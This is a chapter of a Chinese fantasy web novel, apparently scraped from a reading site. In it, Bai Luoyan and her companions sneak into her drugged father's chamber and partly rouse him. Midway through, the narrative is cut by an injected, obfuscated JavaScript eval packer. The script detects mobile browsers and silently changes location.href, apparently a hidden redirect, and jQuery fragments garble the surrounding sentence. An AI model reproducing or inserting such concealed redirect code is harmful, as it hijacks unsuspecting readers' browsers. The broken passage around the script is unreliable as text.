123读书网 > 都市小说 > 阴湿小狗他又在装乖 > 72. 白老家主
    此言一出,白落烟和陈怀晏齐齐转头看向郁安淮。


    “怎么?”两道如出一辙却说不清道不明的目光落在脸上,郁安淮不由得微微皱眉,问道。


    “千年前的白老家主残魂半点指望不上,他肯定是站在白不悔那一边的。”白落烟抱住手臂嗤笑一声,摇了摇头,“他能为了一个刚认回来私生子,把自小养在身边的乖女儿嫁出去换亲,能是什么好东西?”


    “可若是除掉这千年前的老东西……”白落烟半点没有尊重的意思,“我们这伙现世之人可无法杀死白不悔,更无法为夜心解开心魔。”


    郁安淮没有反驳,他拧着眉心点点头,静静地示意她继续说。


    “所以,我们现在就要去赌!”白落烟目光灼灼,“看我们能不能唤醒我爹的些许神识,让他少被这幻境迷惑几分。”


    “道理自是不错,但这与换衣裳又有何干?”可郁安淮显然没有跟上她跳脱的思路,仍疑惑道。


    陈怀晏噗嗤一声笑出声来,连忙捂住嘴,憋笑得脸都红了。


    她碍于郁安淮的权柄什么也不敢说,只偷偷用胳膊肘戳了白落烟一下。


    白落烟转头正撞入她的目光,二人相视一笑,心底俱是了然。


    有些话没法直接讲,讲出来就显得她们太不厚道了。


    她二人都是被父母捧在手心里养大的,哪个受宠的孩子不会与爹娘撒娇卖惨讨些好处呢?


    但郁安淮爹不疼娘又走得早,他哪里会明白这个?


    四周群狼环伺,他在人间学会的处世之道,自然是无论多狼狈也不能露半点破绽。


    这没错,但这可并非是与父母爱人挚友这等至亲的相处之道。


    白落烟望向满面疑云的郁安淮,又是心疼又是无奈。


    她两手一摊,破罐子破摔道,“留着血衣当然是撒娇啊,卖惨啊……”


    郁安淮神色忽然莫名一冷,似是不信,只淡淡道,“哦?小枝还会撒娇?”


    白落烟无奈,怀晏甚是要脸面,所以她只得亲自夹着嗓子学上一句。


    她眼睛忽闪忽闪地,刻意放软拖长了声音,“呜呜呜白不悔那个坏东西欺负女儿……爹爹一定要替我做主啊!”


    郁安淮沉默,脸色看起来更差了。


    “人非圣贤,你不是什么都懂也很寻常”白落烟不疑有他,拍拍他的肩膀,道,“我爹的魂魄被迷惑,但看我这么惨,说不定一心疼就能醒过来。”


    郁安淮:?


    他虽然没有反驳,但嘴角却刻意地抽动了一下,许是根本不相信这计策能管用。


    “如果主君的父亲不能醒悟也无妨。”陈怀晏忙添油加醋,“大祝司身为陈公子,是我这个陈小姐的兄长,假装为妹妹讨公道合情又合理,说不定还能将他一军。”


    白落烟眼前一亮,她手还在郁安淮肩膀上,闻言猛地一拍郁安淮的肩膀,“啊!也对!”


    娘亲救黎民百姓牺牲后,父亲并未再有什么女人,十几年如一日照顾她,变着花样讨她开心,替她收拾烂摊子。


    别的或许有疑,但对这番疼爱她可是志得意满,“放心吧,没人比我更了解我自己的爹了!”


    郁安淮瞧着她那副胸有成竹的模样,忽然轻轻笑了。


    他轻轻一叹,像是无奈,又像是怜悯。


    “小枝,令尊疼爱你不假。但你当真觉得……”他居高临下俯视着她那燃着无尽希望的眼睛,慢悠悠开口,“他认为你能当得起这家主之位吗?”


    白落烟茫然地听着,心底莫名其妙打了个突。


    “若真是如此,他当年为何没有如陈怀晏母亲那般,留你招赘继承家业?”


    “为何他反倒是舍近求远,将你许配,或是说好听些……托付给章之楼?”


    “当真是因为你没有灵脉吗?”


    白落烟的神气笑容登时僵在脸上。


    郁安淮的话如一片陈年不散的阴云,沉甸甸压在头顶。


    四人沉默着,由孟沧海引路,一路朝着老家主的住处而去。


    正如夜心的院子一般无二,无数的高家魔物虎视眈眈地把守着,把院子围个水泄不通,还有许多与不知是生是死的仆从们在四处游荡巡查。


    孟沧海故技重施,繁复的咒语自他口中轻盈流淌而出,指诀飞速变换数番。


    眨眼间,数不清的狰狞巨眼在守卫与仆人身上张开,四人大摇大摆绕过他们,如一阵清风掠过,


    老家主的房门被风无声吹开,又悄然合上,他们如愿以偿潜入了老家主的卧房。


    但思及老父亲年事已高,或许禁不住陈怀晏直挺挺飘来飘起的惊吓,还是多给了她一个障眼法,让旁人看不到她。


    屋内没有点灯,十分昏暗,但白落烟的目光几乎立时间就被一个再熟悉不过的身影擢住了。


    她的父亲安详地躺在床榻上,他面色红润,呼吸平稳,仿佛只是睡着了一般。


    白落烟深深呼出一口气来,悬着的心落回了肚子里。诚然如孟沧海所言,白老家主性命无虞,只是被白不悔的下三滥迷魂之药放倒了而已。


    既然知道是迷魂之药无需解药,陈怀晏上前几步,指尖微微一动,点在白老家主的眉心。


    白落烟走到榻边来,顺理成章坐了下来。


    她望着父亲沉睡的面容,心底竟竟无端生出些近乡情更怯的惶恐来。


    她无奈转过头,看向跟上来的郁安淮,她被他说得有点怕。


    怕……若是爹醒了,却变成李娘子的那般陌生的模样。


    她现在明白了,人心禁不得一丝一毫的考验。


    当年对她好的人,时过境迁不知变成了什么模样,或许因为旁人就会对她拔刀相向。


    白家是她最后的依仗。


    若是进到这个结界之前,她当然可以大言不惭地说,整个白家都对她特别特别的好。尤其是她的父亲,更是不曾在意她没有灵脉的事,几乎把她宠到了天上去。


    可如今……她不敢这么肯定了。


    若是父亲有了一个儿子,她还能得到那样的宠爱吗?


    会不会就像陈家小姐一样,转瞬间就被家族抛弃,随随便便就换婚嫁出去了?


    所幸灵犀不变,待她依旧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183529|187006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,给了她唯一的慰藉。


    郁安淮在她身侧站定,忽然伸出尾指,轻轻勾了勾她的手指。


    “对不住,适才是我多嘴胡说,小枝你不要多想。”他垂眸,莫名其妙含着三分局促与歉意,“令尊并不是那样的人,他……”


    “没有的事,你也是为了破局考虑啊。”白落烟闻言失笑,释然地摇摇头,打断了他的话,“道什么歉啊,我又不怪你,还要谢你提醒呢。”


    郁安淮张了张嘴,似乎不知道该说什么,又沉默下去。


    “咳咳…………”


    说话间,陈怀晏的咒术已然施展罢了,床榻间传来几声虚弱的咳嗽之声。


    白落烟无暇他顾,猛地转过头去,见白老家主眼皮颤了颤,缓缓睁开一条缝隙来。


    老家主上了年纪的浑浊眸子迷茫地颤了颤,他打量着白落烟,簇着眉头,似是在和什么挣扎。


    “小枝……?怎么麻烦你来瞧爹爹啦?爹爹有没有误你的事……?”


    “爹爹!”听到了小枝二字白落烟大喜过望,她就说爹没那么容易被迷惑!


    见老白家主并没有任何的嫌弃的意思,白落烟的心暂时落在了实处。


    她几分嗔怪几分担忧,握住他的手,道,“您老人家没事吧!可吓死我了!!!”


    血丝在他皮肤下辗转游动着,白老家主盯着白落烟和郁安淮好一会儿,忽然恍然般改了口,“不对,不对,你是屏儿?爱婿也在?”


    白老家主的目光从郁安淮身上转开,在白落烟破烂的衣裳上停留了很久很久,眉心越蹙越紧。


    “如此狼狈,可是谁欺负你了?告诉爹,爹替你出气!”


    还是没有对抗过血丝啊。


    白落烟默默垂下眼帘,掩了心中失望。但她也并没有气馁,只因老父亲的慈爱担忧和记忆里一模一样,半点不曾掺假。


    本想着按计划撒娇卖惨一番,可此刻面对这样的沉甸甸的担忧,她忽然无法再开口报忧了。


    谁欺负她了?七曜,夜心,李娘子,很多人……


    可那些准备好的说辞,要诉说的委屈,全都堵在喉咙里,一个字也吐不出来了。


    “我没事。”她艰难扯出一个不甚自然的笑意,故作轻松道,“倒是爹爹,身子如何了?”


    “爹能有什么事。”白家主摆摆手,他垂下眼睛,叹口气,苦笑一下道,“爹啊……做了一个很长很长的噩梦,梦见被我的亲儿子活生生塞了毒药。”


    他叹息里满是英雄末路的自嘲,“人老咯,不中用了,狗都嫌。”


    “哪有!”白落烟不高兴地打断他,“白家可离不开爹爹。”


    “哈哈,好屏儿,就莫要安慰爹啦。”白家主淡淡一笑,三分释然三分落寞,“白家离了谁都一样。”


    “爹前几日已然唤了繁照大祝司上门见证你大哥登位,这几天他也该到了。”


    繁照大祝司?那是谁?


    正待要问,忽然间,门被推开了一条细细的缝隙。


    然后一个脑袋小心翼翼探进来,像是刻意找寻什么似的,鬼鬼祟祟四处张望。